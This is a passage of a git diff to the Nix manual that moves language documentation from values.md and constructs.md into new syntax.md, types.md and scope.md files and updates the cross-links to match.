binding). Desugars to `lib = pkgs.lib; stdenv = pkgs.stdenv;`. - See [Inheriting attributes](@docroot@/language/constructs.md#inheriting-attributes). + See [Inheriting attributes](@docroot@/language/syntax.md#inheriting-attributes). - *[Functions](@docroot@/language/constructs.md#functions) (lambdas)* + *[Functions](@docroot@/language/syntax.md#functions) (lambdas)* @@ -500,7 +500,7 @@ This is an incomplete overview of language features, by example. - A [function](@docroot@/language/constructs.md#functions) that expects an integer and returns it increased by 1. + A [function](@docroot@/language/syntax.md#functions) that expects an integer and returns it increased by 1. @@ -512,7 +512,7 @@ This is an incomplete overview of language features, by example. - Curried [function](@docroot@/language/constructs.md#functions), equivalent to `x: (y: x + y)`. Can be used like a function that takes two arguments and returns their sum. + Curried [function](@docroot@/language/syntax.md#functions), equivalent to `x: (y: x + y)`. Can be used like a function that takes two arguments and returns their sum. @@ -524,7 +524,7 @@ This is an incomplete overview of language features, by example. - A [function](@docroot@/language/constructs.md#functions) call (evaluates to 101) + A [function](@docroot@/language/syntax.md#functions) call (evaluates to 101) @@ -536,7 +536,7 @@ This is an incomplete overview of language features, by example. - A [function](@docroot@/language/constructs.md#functions) bound to a variable and subsequently called by name (evaluates to 103) + A [function](@docroot@/language/syntax.md#functions) bound to a variable and subsequently called by name (evaluates to 103) @@ -548,7 +548,7 @@ This is an incomplete overview of language features, by example. - A [function](@docroot@/language/constructs.md#functions) that expects a set with required attributes `x` and `y` and concatenates them + A [function](@docroot@/language/syntax.md#functions) that expects a set with required attributes `x` and `y` and concatenates them @@ -560,7 +560,7 @@ This is an incomplete overview of language features, by example. - A [function](@docroot@/language/constructs.md#functions) that expects a set with required attribute `x` and optional `y`, using `"bar"` as default value for `y` + A [function](@docroot@/language/syntax.md#functions) that expects a set with required attribute `x` and optional `y`, using `"bar"` as default value for `y` @@ -572,7 +572,7 @@ This is an incomplete overview of language features, by example. - A [function](@docroot@/language/constructs.md#functions) that expects a set with required attributes `x` and `y` and ignores any other attributes + A [function](@docroot@/language/syntax.md#functions) that expects a set with required attributes `x` and `y` and ignores any other attributes @@ -586,7 +586,7 @@ This is an incomplete overview of language features, by example. - A [function](@docroot@/language/constructs.md#functions) that expects a set with required attributes `x` and `y`, and binds the whole set to `args` + A [function](@docroot@/language/syntax.md#functions) that expects a set with required attributes `x` and `y`, and binds the whole set to `args` diff --git a/doc/manual/src/language/operators.md b/doc/manual/src/language/operators.md index 9e5ab52a2..9660a764d 100644 --- a/doc/manual/src/language/operators.md +++ b/doc/manual/src/language/operators.md @@ -27,11 +27,11 @@ | Logical disjunction (`OR`) | *bool* \|\| *bool* | left | 13 | | [Logical implication] | *bool* `->` *bool* | right | 14 | -[string]: ./values.md#type-string -[path]: ./values.md#type-path -[number]: ./values.md#type-number -[list]: ./values.md#list -[attribute set]: ./values.md#attribute-set +[string]: ./types.md#type-string +[path]: ./types.md#type-path +[number]: ./types.md#type-float +[list]: ./types.md#list +[attribute set]: ./types.md#attribute-set ## Attribute selection @@ -42,7 +42,7 @@ Select the attribute denoted by attribute path *attrpath* from [attribute set] *attrset*. If the attribute doesn’t exist, return the *expr* after `or` if provided, otherwise abort evaluation. -An attribute path is a dot-separated list of [attribute names](./values.md#attribute-set). +An attribute path is a dot-separated list of [attribute names](./types.md#attribute-set). > **Syntax** > @@ -61,7 +61,7 @@ The result is a [Boolean] value. See also: [`builtins.hasAttr`](@docroot@/language/builtins.md#builtins-hasAttr) -[Boolean]: ./values.md#type-boolean +[Boolean]: ./types.md#type-boolean [Has attribute]: #has-attribute @@ -172,7 +172,7 @@ All comparison operators are implemented in terms of `<`, and the following equi - Numbers are type-compatible, see [arithmetic] operators. - Floating point numbers only differ up to a limited precision. -[function]: ./constructs.md#functions +[function]: ./syntax.md#functions [Equality]: #equality diff --git a/doc/manual/src/language/scope.md b/doc/manual/src/language/scope.md new file mode 100644 index 000000000..5c6aed38d --- /dev/null +++ b/doc/manual/src/language/scope.md @@ -0,0 +1,14 @@ +# Scoping rules + +Nix is [statically scoped](https://en.wikipedia.org/wiki/Scope_(computer_science)#Lexical_scope), but with multiple scopes and shadowing rules. + +* primary scope: explicitly-bound variables + * [`let`](./syntax.md#let-expressions) + * [`inherit`](./syntax.md#inheriting-attributes) + * [function](./syntax.md#functions) arguments + +* secondary scope: implicitly-bound variables + * [`with`](./syntax.md#with-expressions) + +Primary scope takes precedence over secondary scope. +See [`with`](./syntax.md#with-expressions) for a detailed example. diff --git a/doc/manual/src/language/string-context.md b/doc/manual/src/language/string-context.md index 88ae0d8b0..6a3482cfd 100644 --- a/doc/manual/src/language/string-context.md +++ b/doc/manual/src/language/string-context.md @@ -111,7 +111,7 @@ It creates an [attribute set] representing the string context, which can be insp [`builtins.hasContext`]: ./builtins.md#builtins-hasContext [`builtins.getContext`]: ./builtins.md#builtins-getContext -[attribute set]: ./values.md#attribute-set +[attribute set]: ./types.md#attribute-set ## Clearing string contexts diff --git a/doc/manual/src/language/string-interpolation.md b/doc/manual/src/language/string-interpolation.md index 7b4a5cfef..1778bdfa0 100644 --- a/doc/manual/src/language/string-interpolation.md +++ b/doc/manual/src/language/string-interpolation.md @@ -4,9 +4,9 @@ String interpolation is a language feature where a [string], [path], or [attribu Such a construct is called *interpolated string*, and the expression inside is an [interpolated expression](#interpolated-expression). -[string]: ./values.md#type-string -[path]: ./values.md#type-path -[attribute set]: ./values.md#attribute-set +[string]: ./types.md#type-string +[path]: ./types.md#type-path +[attribute set]: ./types.md#attribute-set ## Examples diff --git a/doc/manual/src/language/syntax.md b/doc/manual/src/language/syntax.md new file mode 100644 index 000000000..238c502f9 --- /dev/null +++ b/doc/manual/src/language/syntax.md @@ -0,0 +1,841 @@ +# Language Constructs + +This section covers syntax and semantics of the Nix language. + +## Basic Literals + +### String {#string-literal} + + *Strings* can be written in three ways. + + The most common way is to enclose the string between double quotes, e.g., `"foo bar"`. + Strings can span multiple lines. + The results of other expressions can be included into a string by enclosing them in `${ }`, a feature known as [string interpolation]. + + [string interpolation]: ./string-interpolation.md + + The following must be escaped to represent them within a string, by prefixing with a backslash (`\`): + + - Double quote (`"`) + + > **Example** + > + > ```nix + > "\"" + > ``` + > + > "\"" + + - Backslash (`\`) + + > **Example** + > + > ```nix + > "\\" + > ``` + > + > "\\" + + - Dollar sign followed by an opening curly bracket (`${`) – "dollar-curly" + + > **Example** + > + > ```nix + > "\${" + > ``` + > + > "\${" + + The newline, carriage return, and tab characters can be written as `\n`, `\r` and `\t`, respectively. + + A "double-dollar-curly" (`$${`) can be written literally. + + > **Example** + > + > ```nix + > "$${" + > ``` + > + > "$\${" + + String values are output on the terminal with Nix-specific escaping. + Strings written to files will contain the characters encoded by the escaping. + + The second way to write string literals is as an *indented string*, which is enclosed between pairs of *double single-quotes* (`''`), like so: + + ```nix + '' + This is the first line. + This is the second line. + This is the third line. + '' + ``` + + This kind of string literal intelligently strips indentation from + the start of each line. To be precise, it strips from each line a + number of spaces equal to the minimal indentation of the string as a + whole (disregarding the indentation of empty lines). For instance, + the first and second line are indented two spaces, while the third + line is indented four spaces. Thus, two spaces are stripped from + each line, so the resulting string is + + ```nix + "This is the first line.\nThis is the second line.\n This is the third line.\n" + ``` + + > **Note** + > + > Whitespace and newline following the opening `''` is ignored if there is no non-whitespace text on the initial line. + + > **Warning** + > + > Prefixed tab characters are not stripped. + > + > > **Example** + > > + > > The following indented string is prefixed with tabs: + > > + > > '' + > > all: + > > @echo hello + > > '' + > > + > > "\tall:\n\t\t@echo hello\n" + + Indented strings support [string interpolation]. + + The following must be escaped to represent them in an indented string: + + - `$` is escaped by prefixing it with two single quotes (`''`) + + > **Example** + > + > ```nix + > '' + > ''$ + > '' + > ``` + > + > "$\n" + + - `''` is escaped by prefixing it with one single quote (`'`) + + > **Example** + > + > ```nix + > '' + > ''' + > '' + > ``` + > + > "''\n" + + These special characters are escaped as follows: + - Linefeed (`\n`): `''\n` + - Carriage return (`\r`): `''\r` + - Tab (`\t`): `''\t` + + `''\` escapes any other character. + + A "double-dollar-curly" (`$${`) can be written literally. + + > **Example** + > + > ```nix + > '' + > $${ + > '' + > ``` + > + > "$\${\n" + + Indented strings are primarily useful in that they allow multi-line + string literals to follow the indentation of the enclosing Nix + expression, and that less escaping is typically necessary for + strings representing languages such as shell scripts and + configuration files because `''` is much less common than `"`. + Example: + + ```nix + stdenv.mkDerivation { + ... + postInstall = + '' + mkdir $out/bin $out/etc + cp foo $out/bin + echo "Hello World" > $out/etc/foo.conf + ${if enableBar then "cp bar $out/bin" else ""} + ''; + ... + } + ``` + + Finally, as a convenience, *URIs* as defined in appendix B of + [RFC 2396](http://www.ietf.org/rfc/rfc2396.txt) can be written *as + is*, without quotes. For instance, the string + `"http://example.org/foo.tar.bz2"` can also be written as + `http://example.org/foo.tar.bz2`. + +### Number {#number-literal} + + + + Numbers, which can be *integers* (like `123`) or *floating point* + (like `123.43` or `.27e13`). + + See [arithmetic] and [comparison] operators for semantics. + + [arithmetic]: ./operators.md#arithmetic + [comparison]: ./operators.md#comparison + +### Path {#path-literal} + + *Paths* are distinct from strings and can be expressed by path literals such as `./builder.sh`. + + Paths are suitable for referring to local files, and are often preferable over strings. + - Path values do not contain trailing slashes, `.` and `..`, as they are resolved when evaluating a path literal. + - Path literals are automatically resolved relative to their [base directory](@docroot@/glossary.md#gloss-base-directory). + - The files referred to by path values are automatically copied into the Nix store when used in a string interpolation or concatenation. + - Tooling can recognize path literals and provide additional features, such as autocompletion, refactoring automation and jump-to-file. + + A path literal must contain at least one slash to be recognised as such. + For instance, `builder.sh` is not a path: + it's parsed as an expression that selects the attribute `sh` from the variable `builder`. + + Path literals may also refer to absolute paths by starting with a slash. + + > **Note** + > + > Absolute paths make expressions less portable. + > In the case where a function translates a path literal into an absolute path string for a configuration file, it is recommended to write a string literal instead. + > This avoids some confusion about whether files at that location will be used during evaluation. + > It also avoids unintentional situations where some function might try to copy everything at the location into the store. + + If the first component of a path is a `~`, it is interpreted such that the rest of the path were relative to the user's home directory. + For example, `~/foo` would be equivalent to `/home/edolstra/foo` for a user whose home directory is `/home/edolstra`. + Path literals that start with `~` are not allowed in [pure](@docroot@/command-ref/conf-file.md#conf-pure-eval) evaluation. + + Paths can be used in [string interpolation] and string concatenation. + For instance, evaluating `"${./foo.txt}"` will cause `foo.txt` from the same directory to be copied into the Nix store and result in the string `"/nix/store/-foo.txt"`. + + Note that the Nix language assumes that all input files will remain _unchanged_ while evaluating a Nix expression. + For example, assume you used a file path in an interpolated string during a `nix repl` session. + Later in the same session, after having changed the file contents, evaluating the interpolated string with the file path again might not return a new [store path], since Nix might not re-read the file contents. Use `:r` to reset the repl as needed. + + [store path]: @docroot@/store/store-path.md + + Path literals can also include [string interpolation], besides being [interpolated into other expressions]. + + [interpolated into other expressions]: ./string-interpolation.md#interpolated-expressions + + At least one slash (`/`) must appear *before* any interpolated expression for the result to be recognized as a path. + + `a.${foo}/b.${bar}` is a syntactically valid number division operation. + `./a.${foo}/b.${bar}` is a path. + + [Lookup path](./constructs/lookup-path.md) literals such as `` also resolve to path values. + +## List {#list-literal} + +Lists are formed by enclosing a whitespace-separated list of values +between square brackets. For example, + +```nix +[ 123 ./foo.nix "abc" (f { x = y; }) ] +``` + +defines a list of four elements, the last being the result of a call to +the function `f`. Note that function calls have to be enclosed in +parentheses. If they had been omitted, e.g., + +```nix +[ 123 ./foo.nix "abc" f { x = y; } ] +``` + +the result would be a list of five elements, the fourth one being a +function and the fifth being a set. + +Note that lists are only lazy in values, and they are strict in length. + +Elements in a list can be accessed using [`builtins.elemAt`](./builtins.md#builtins-elemAt). + +## Attribute Set {#attrs-literal} + +An attribute set is a collection of name-value-pairs (called *attributes*) enclosed in curly brackets (`{ }`). + +An attribute name can be an identifier or a [string](#string). +An identifier must start with a letter (`a-z`, `A-Z`) or underscore (`_`), and can otherwise contain letters (`a-z`, `A-Z`), numbers (`0-9`), underscores (`_`), apostrophes (`'`), or dashes (`-`). + +> **Syntax** +> +> *name* = *identifier* | *string* \ +> *identifier* ~ `[a-zA-Z_][a-zA-Z0-9_'-]*` + +Names and values are separated by an equal sign (`=`). +Each value is an arbitrary expression terminated by a semicolon (`;`). + +> **Syntax** +> +> *attrset* = `{` [ *name* `=` *expr* `;` ]... `}` + +Attributes can appear in any order. +An attribute name may only occur once. + +Example: + +```nix +{ + x = 123; + text = "Hello"; + y = f { bla = 456; }; +} +``` + +This defines a set with attributes named `x`, `text`, `y`. + +Attributes can be accessed with the [`.` operator](./operators.md#attribute-selection). + +Example: + +```nix +{ a = "Foo"; b = "Bar"; }.a +``` + +This evaluates to `"Foo"`. + +It is possible to provide a default value in an attribute selection using the `or` keyword. + +Example: + +```nix +{ a = "Foo"; b = "Bar"; }.c or "Xyzzy" +``` + +```nix +{ a = "Foo"; b = "Bar"; }.c.d.e.f.g or "Xyzzy" +``` + +will both evaluate to `"Xyzzy"` because there is no `c` attribute in the set. + +You can use arbitrary double-quoted strings as attribute names: + +```nix +{ "$!@#?" = 123; }."$!@#?" +``` + +```nix +let bar = "bar"; in +{ "foo ${bar}" = 123; }."foo ${bar}" +``` + +Both will evaluate to `123`. + +Attribute names support [string interpolation]: + +```nix +let bar = "foo"; in +{ foo = 123; }.${bar} +``` + +```nix +let bar = "foo"; in +{ ${bar} = 123; }.foo +``` + +Both will evaluate to `123`. + +In the special case where an attribute name inside of a set declaration +evaluates to `null` (which is normally an error, as `null` cannot be coerced to +a string), that attribute is simply not added to the set: + +```nix +{ ${if foo then "bar" else null} = true; } +``` + +This will evaluate to `{}` if `foo` evaluates to `false`. + +A set that has a `__functor` attribute whose value is callable (i.e. is +itself a function or a set with a `__functor` attribute whose value is +callable) can be applied as if it were a function, with the set itself +passed in first , e.g., + +```nix +let add = { __functor = self: x: x + self.x; }; + inc = add // { x = 1; }; +in inc 1 +``` + +evaluates to `2`. This can be used to attach metadata to a function +without the caller needing to treat it specially, or to implement a form +of object-oriented programming, for example. + +## Recursive sets + +Recursive sets are like normal [attribute sets](./types.md#attribute-set), but the attributes can refer to each other. + +> *rec-attrset* = `rec {` [ *name* `=` *expr* `;` `]`... `}` + +Example: + +```nix +rec { + x = y; + y = 123; +}.x +``` + +This evaluates to `123`. + +Note that without `rec` the binding `x = y;` would +refer to the variable `y` in the surrounding scope, if one exists, and +would be invalid if no such variable exists. That is, in a normal +(non-recursive) set, attributes are not added to the lexical scope; in a +recursive set, they are. + +Recursive sets of course introduce the danger of infinite recursion. For +example, the expression + +```nix +rec { + x = y; + y = x; +}.x +``` + +will crash with an `infinite recursion encountered` error message. + +## Let-expressions + +A let-expression allows you to define local variables for an expression. + +> *let-in* = `let` [ *identifier* = *expr* ]... `in` *expr* + +Example: + +```nix +let + x = "foo"; + y = "bar"; +in x + y +``` + +This evaluates to `"foobar"`. + +## Inheriting attributes + +When defining an [attribute set](./types.md#attribute-set) or in a [let-expression](#let-expressions) it is often convenient to copy variables from the surrounding lexical scope (e.g., when you want to propagate attributes). +This can be shortened using the `inherit` keyword. + +Example: + +```nix +let x = 123; in +{ + inherit x; + y = 456; +} +``` + +is equivalent to + +```nix +let x = 123; in +{ + x = x; + y = 456; +} +``` + +and both evaluate to `{ x = 123; y = 456; }`. + +> **Note** +> +> This works because `x` is added to the lexical scope by the `let` construct. + +It is also possible to inherit attributes from another attribute set. + +Example: + +In this fragment from `all-packages.nix`, + +```nix +graphviz = (import ../tools/graphics/graphviz) { + inherit fetchurl stdenv libpng libjpeg expat x11 yacc; + inherit (xorg) libXaw; +}; + +xorg = { + libX11 = ...; + libXaw = ...; + ... +} + +libpng = ...; +libjpg = ...; +... +``` + +the set used in the function call to the function defined in +`../tools/graphics/graphviz` inherits a number of variables from the +surrounding scope (`fetchurl` ... `yacc`), but also inherits `libXaw` +(the X Athena Widgets) from the `xorg` set. + +Summarizing the fragment + +```nix +... +inherit x y z; +inherit (src-set) a b c; +... +``` + +is equivalent to + +```nix +... +x = x; y = y; z = z; +a = src-set.a; b = src-set.b; c = src-set.c; +... +``` + +when used while defining local variables in a let-expression or while +defining a set. + +In a `let` expression, `inherit` can be used to selectively bring specific attributes of a set into scope. For example + + +```nix +let + x = { a = 1; b = 2; }; + inherit (builtins) attrNames; +in +{ + names = attrNames x; +} +``` + +is equivalent to + +```nix +let + x = { a = 1; b = 2; }; +in +{ + names = builtins.attrNames x; +} +``` + +both evaluate to `{ names = [ "a" "b" ]; }`. + +## Functions + +Functions have the following form: + +```nix +pattern: body +``` + +The pattern specifies what the argument of the function must look like, +and binds variables in the body to (parts of) the argument. There are +three kinds of patterns: + + - If a pattern is a single identifier, then the function matches any + argument. Example: + + ```nix + let negate = x: !x; + concat = x: y: x + y; + in if negate true then concat "foo" "bar" else "" + ``` + + Note that `concat` is a function that takes one argument and returns + a function that takes another argument. This allows partial + parameterisation (i.e., only filling some of the arguments of a + function); e.g., + + ```nix + map (concat "foo") [ "bar" "bla" "abc" ] + ``` + + evaluates to `[ "foobar" "foobla" "fooabc" ]`. + + - A *set pattern* of the form `{ name1, name2, …, nameN }` matches a + set containing the listed attributes, and binds the values of those + attributes to variables in the function body. For example, the + function + + ```nix + { x, y, z }: z + y + x + ``` + + can only be called with a set containing exactly the attributes `x`, + `y` and `z`. No other attributes are allowed. If you want to allow + additional arguments, you can use an ellipsis (`...`): + + ```nix + { x, y, z, ... }: z + y + x + ``` + + This works on any set that contains at least the three named + attributes. + + It is possible to provide *default values* for attributes, in + which case they are allowed to be missing. A default value is + specified by writing `name ? e`, where *e* is an arbitrary + expression. For example, + + ```nix + { x, y ? "foo", z ? "bar" }: z + y + x + ``` + + specifies a function that only requires an attribute named `x`, but + optionally accepts `y` and `z`. + + - An `@`-pattern provides a means of referring to the whole value + being matched: + + ```nix + args@{ x, y, z, ... }: z + y + x + args.a + ``` + + but can also be written as: + + ```nix + { x, y, z, ... } @ args: z + y + x + args.a + ``` + + Here `args` is bound to the argument *as passed*, which is further + matched against the pattern `{ x, y, z, ... }`. + The `@`-pattern makes mainly sense with an ellipsis(`...`) as + you can access attribute names as `a`, using `args.a`, which was + given as an additional attribute to the function. + + > **Warning** + > + > `args@` binds the name `args` to the attribute set that is passed to the function. + > In particular, `args` does *not* include any default values specified with `?` in the function's set pattern. + > + > For instance + > + > ```nix + > let + > f = args@{ a ? 23, ... }: [ a args ]; + > in + > f {} + > ``` + > + > is equivalent to + > + > ```nix + > let + > f = args @ { ... }: [ (args.a or 23) args ]; + > in + > f {} + > ``` + > + > and both expressions will evaluate to: + > + > ```nix + > [ 23 {} ] + > ``` + +Note that functions do not have names. If you want to give them a name, +you can bind them to an attribute, e.g., + +```nix +let concat = { x, y }: x + y; +in concat { x = "foo"; y = "bar"; } +``` + +## Conditionals + +Conditionals look like this: + +```nix +if e1 then e2 else e3 +``` + +where *e1* is an expression that should evaluate to a Boolean value +(`true` or `false`). + +## Assertions + +Assertions are generally used to check that certain requirements on or +between features and dependencies hold. They look like this: + +```nix +assert e1; e2 +``` + +where *e1* is an expression that should evaluate to a Boolean value. If +it evaluates to `true`, *e2* is returned; otherwise expression +evaluation is aborted and a backtrace is printed. + +Here is a Nix expression for the Subversion package that shows how +assertions can be used:. + +```nix +{ localServer ? false +, httpServer ? false +, sslSupport ? false +, pythonBindings ? false +, javaSwigBindings ? false +, javahlBindings ? false +, stdenv, fetchurl +, openssl ? null, httpd ? null, db4 ? null, expat, swig ? null, j2sdk ? null +}: + +assert localServer -> db4 != null; ① +assert httpServer -> httpd != null && httpd.expat == expat; ② +assert sslSupport -> openssl != null && (httpServer -> httpd.openssl == openssl); ③ +assert pythonBindings -> swig != null && swig.pythonSupport; +assert javaSwigBindings -> swig != null && swig.javaSupport; +assert javahlBindings -> j2sdk != null; + +stdenv.mkDerivation { + name = "subversion-1.1.1"; + ... + openssl = if sslSupport then openssl else null; ④ + ... +} +``` + +The points of interest are: + +1. This assertion states that if Subversion is to have support for + local repositories, then Berkeley DB is needed. So if the Subversion + function is called with the `localServer` argument set to `true` but + the `db4` argument set to `null`, then the evaluation fails. + + Note that `->` is the [logical + implication](https://en.wikipedia.org/wiki/Truth_table#Logical_implication) + Boolean operation. + +2. This is a more subtle condition: if Subversion is built with Apache + (`httpServer`) support, then the Expat library (an XML library) used + by Subversion should be same as the one used by Apache. This is + because in this configuration Subversion code ends up being linked + with Apache code, and if the Expat libraries do not match, a build- + or runtime link error or incompatibility might occur. + +3. This assertion says that in order for Subversion to have SSL support + (so that it can access `https` URLs), an OpenSSL library must be + passed. Additionally, it says that *if* Apache support is enabled, + then Apache's OpenSSL should match Subversion's. (Note that if + Apache support is not enabled, we don't care about Apache's + OpenSSL.) + +4. The conditional here is not really related to assertions, but is + worth pointing out: it ensures that if SSL support is disabled, then + the Subversion derivation is not dependent on OpenSSL, even if a + non-`null` value was passed. This prevents an unnecessary rebuild of + Subversion if OpenSSL changes. + +## With-expressions + +A *with-expression*, + +```nix +with e1; e2 +``` + +introduces the set *e1* into the lexical scope of the expression *e2*. +For instance, + +```nix +let as = { x = "foo"; y = "bar"; }; +in with as; x + y +``` + +evaluates to `"foobar"` since the `with` adds the `x` and `y` attributes +of `as` to the lexical scope in the expression `x + y`. The most common +use of `with` is in conjunction with the `import` function. E.g., + +```nix +with (import ./definitions.nix); ... +``` + +makes all attributes defined in the file `definitions.nix` available as +if they were defined locally in a `let`-expression. + +The bindings introduced by `with` do not shadow bindings introduced by +other means, e.g. + +```nix +let a = 3; in with { a = 1; }; let a = 4; in with { a = 2; }; ... +``` + +establishes the same scope as + +```nix +let a = 1; in let a = 2; in let a = 3; in let a = 4; in ... +``` + +Variables coming from outer `with` expressions *are* shadowed: + +```nix +with { a = "outer"; }; +with { a = "inner"; }; +a +``` + +Does evaluate to `"inner"`. + +## Comments + +- Inline comments start with `#` and run until the end of the line. + + > **Example** + > + > ```nix + > # A number + > 2 # Equals 1 + 1 + > ``` + > + > ```console + > 2 + > ``` + +- Block comments start with `/*` and run until the next occurrence of `*/`. + + > **Example** + > + > ```nix + > /* + > Block comments + > can span multiple lines. + > */ "hello" + > ``` + > + > ```console + > "hello" + > ``` + + This means that block comments cannot be nested. + + > **Example** + > + > ```nix + > /* /* nope */ */ 1 + > ``` + > + > ```console + > error: syntax error, unexpected '*' + > + > at «string»:1:15: + > + > 1| /* /* nope */ * + > | ^ + > ``` + + Consider escaping nested comments and unescaping them in post-processing. + + > **Example** + > + > ```nix + > /* /* nested *\/ */ 1 + > ``` + > + > ```console + > 1 + > ``` diff --git a/doc/manual/src/language/types.md b/doc/manual/src/language/types.md new file mode 100644 index 000000000..1b3e6b247 --- /dev/null +++ b/doc/manual/src/language/types.md @@ -0,0 +1,91 @@ +# Data Types + +Every value in the Nix language has one of the following types: + +* [Integer](#type-int) +* [Float](#type-float) +* [Boolean](#type-bool) +* [String](#type-string) +* [Path](#type-path) +* [Null](#type-null) +* [Attribute set](#type-attrs) +* [List](#type-list) +* [Function](#type-function) +* [External](#type-external) + +## Primitives + +### Integer {#type-int} + +An _integer_ in the Nix language is a signed 64-bit integer. + +Non-negative integers can be expressed as [integer literals](syntax.md#number-literal). +Negative integers are created with the [arithmetic negation operator](./operators.md#arithmetic). +The function [`builtins.isInt`](builtins.md#builtins-isInt) can be used to determine if a value is an integer. + +### Float {#type-float} + +A _float_ in the Nix language is a 64-bit [IEEE 754](https://en.wikipedia.org/wiki/IEEE_754) floating-point number. + +Most non-negative floats can be expressed as [float literals](syntax.md#number-literal). +Negative floats are created with the [arithmetic negation operator](./operators.md#arithmetic). +The function [`builtins.isFloat`](builtins.md#builtins-isFloat) can be used to determine if a value is a float. + +### Boolean {#type-bool} + +A _boolean_ in the Nix language is one of _true_ or _false_. + + + +These values are available as attributes of [`builtins`](builtin-constants.md#builtins-builtins) as [`builtins.true`](builtin-constants.md#builtins-true) and [`builtins.false`](builtin-constants.md#builtins-false). +The function [`builtins.isBool`](builtins.md#builtins-isBool) can be used to determine if a value is a boolean. + +### String {#type-string} + +A _string_ in the Nix language is an immutable, finite-length sequence of bytes, along with a [string context](string-context.md). +Nix does not assume or support working natively with character encodings. + +String values without string context can be expressed as [string literals](syntax.md#string-literal). +The function [`builtins.isString`](builtins.md#builtins-isString) can be used to determine if a value is a string. + +### Path {#type-path} + + + +The function [`builtins.isPath`](builtins.md#builtins-isPath) can be used to determine if a value is a path. + +### Null {#type-null} + +There is a single value of type _null_ in the Nix language. + + + +This value is available as an attribute on the [`builtins`](builtin-constants.md#builtins-builtins) attribute set as [`builtins.null`](builtin-constants.md#builtins-null). + +## Compound values + +### Attribute set {#type-attrs} + + + +An attribute set can be constructed with an [attribute set literal](syntax.md#attrs-literal). +The function [`builtins.isAttrs`](builtins.md#builtins-isAttrs) can be used to determine if a value is an attribute set. + +### List {#type-list} + + + +A list can be constructed with a [list literal](syntax.md#list-literal). +The function [`builtins.isList`](builtins.md#builtins-isList) can be used to determine if a value is a list. + +## Function {#type-function} + + + +A function can be constructed with a [function expression](syntax.md#functions). +The function [`builtins.isFunction`](builtins.md#builtins-isFunction) can be used to determine if a value is a function. + +## External {#type-external} + +An _external_ value is an opaque value created by a Nix [plugin](../command-ref/conf-file.md#conf-plugin-files). +Such a value can be substituted in Nix expressions but only created and used by plugin code. diff --git a/doc/manual/src/language/values.md b/doc/manual/src/language/values.md deleted file mode 100644 index ddd55a47e..000000000 --- a/doc/manual/src/language/values.md +++ /dev/null @@ -1,374 +0,0 @@ -# Data Types - -## Primitives - -- String - - *Strings* can be written in three ways. - - The most common way is to enclose the string between double quotes, e.g., `"foo bar"`. - Strings can span multiple lines. - The results of other expressions can be included into a string by enclosing them in `${ }`, a feature known as [string interpolation]. - - [string interpolation]: ./string-interpolation.md - - The following must be escaped to represent them within a string, by prefixing with a backslash (`\`): - - - Double quote (`"`) - - > **Example** - > - > ```nix - > "\"" - > ``` - > - > "\"" - - - Backslash (`\`) - - > **Example** - > - > ```nix - > "\\" - > ``` - > - > "\\" - - - Dollar sign followed by an opening curly bracket (`${`) – "dollar-curly" - - > **Example** - > - > ```nix - > "\${" - > ``` - > - > "\${" - - The newline, carriage return, and tab characters can be written as `\n`, `\r` and `\t`, respectively. - - A "double-dollar-curly" (`$${`) can be written literally. - - > **Example** - > - > ```nix - > "$${" - > ``` - > - > "$\${" - - String values are output on the terminal with Nix-specific escaping. - Strings written to files will contain the characters encoded by the escaping. - - The second way to write string literals is as an *indented string*, which is enclosed between pairs of *double single-quotes* (`''`), like so: - - ```nix - '' - This is the first line. - This is the second line. - This is the third line. - '' - ``` - - This kind of string literal intelligently strips indentation from - the start of each line. To be precise, it strips from each line a - number of spaces equal to the minimal indentation of the string as a - whole (disregarding the indentation of empty lines). For instance, - the first and second line are indented two spaces, while the third - line is indented four spaces. Thus, two spaces are stripped from - each line, so the resulting string is - - ```nix - "This is the first line.\nThis is the second line.\n This is the third line.\n" - ``` - - > **Note** - > - > Whitespace and newline following the opening `''` is ignored if there is no non-whitespace text on the initial line. - - > **Warning** - > - > Prefixed tab characters are not stripped. - > - > > **Example** - > > - > > The following indented string is prefixed with tabs: - > > - > > '' - > > all: - > > @echo hello - > > '' - > > - > > "\tall:\n\t\t@echo hello\n" - - Indented strings support [string interpolation]. - - The following must be escaped to represent them in an indented string: - - - `$` is escaped by prefixing it with two single quotes (`''`) - - > **Example** - > - > ```nix - > '' - > ''$ - > '' - > ``` - > - > "$\n" - - - `''` is escaped by prefixing it with one single quote (`'`) - - > **Example** - > - > ```nix - > '' - > ''' - > '' - > ``` - > - > "''\n" - - These special characters are escaped as follows: - - Linefeed (`\n`): `''\n` - - Carriage return (`\r`): `''\r` - - Tab (`\t`): `''\t` - - `''\` escapes any other character. - - A "double-dollar-curly" (`$${`) can be written literally. - - > **Example** - > - > ```nix - > '' - > $${ - > '' - > ``` - > - > "$\${\n" - - Indented strings are primarily useful in that they allow multi-line - string literals to follow the indentation of the enclosing Nix - expression, and that less escaping is typically necessary for - strings representing languages such as shell scripts and - configuration files because `''` is much less common than `"`. - Example: - - ```nix - stdenv.mkDerivation { - ... - postInstall = - '' - mkdir $out/bin $out/etc - cp foo $out/bin - echo "Hello World" > $out/etc/foo.conf - ${if enableBar then "cp bar $out/bin" else ""} - ''; - ... - } - ``` - - Finally, as a convenience, *URIs* as defined in appendix B of - [RFC 2396](http://www.ietf.org/rfc/rfc2396.txt) can be written *as - is*, without quotes. For instance, the string - `"http://example.org/foo.tar.bz2"` can also be written as - `http://example.org/foo.tar.bz2`. - -- Number - - Numbers, which can be *integers* (like `123`) or *floating point* - (like `123.43` or `.27e13`). - - See [arithmetic] and [comparison] operators for semantics. - - [arithmetic]: ./operators.md#arithmetic - [comparison]: ./operators.md#comparison - -- Path - - *Paths* are distinct from strings and can be expressed by path literals such as `./builder.sh`. - - Paths are suitable for referring to local files, and are often preferable over strings. - - Path values do not contain trailing slashes, `.` and `..`, as they are resolved when evaluating a path literal. - - Path literals are automatically resolved relative to their [base directory](@docroot@/glossary.md#gloss-base-directory). - - The files referred to by path values are automatically copied into the Nix store when used in a string interpolation or concatenation. - - Tooling can recognize path literals and provide additional features, such as autocompletion, refactoring automation and jump-to-file. - - A path literal must contain at least one slash to be recognised as such. - For instance, `builder.sh` is not a path: - it's parsed as an expression that selects the attribute `sh` from the variable `builder`. - - Path literals may also refer to absolute paths by starting with a slash. - - > **Note** - > - > Absolute paths make expressions less portable. - > In the case where a function translates a path literal into an absolute path string for a configuration file, it is recommended to write a string literal instead. - > This avoids some confusion about whether files at that location will be used during evaluation. - > It also avoids unintentional situations where some function might try to copy everything at the location into the store. - - If the first component of a path is a `~`, it is interpreted such that the rest of the path were relative to the user's home directory. - For example, `~/foo` would be equivalent to `/home/edolstra/foo` for a user whose home directory is `/home/edolstra`. - Path literals that start with `~` are not allowed in 